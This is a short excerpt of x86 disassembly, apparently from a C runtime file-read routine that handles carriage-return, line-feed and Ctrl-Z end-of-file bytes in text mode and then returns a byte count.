cmp byte [ebp - 1], 0xa
je 0x41f07b
mov byte [esi], 0xd
jmp 0x41f07a
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x43d9d0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41f077
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41f07b
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret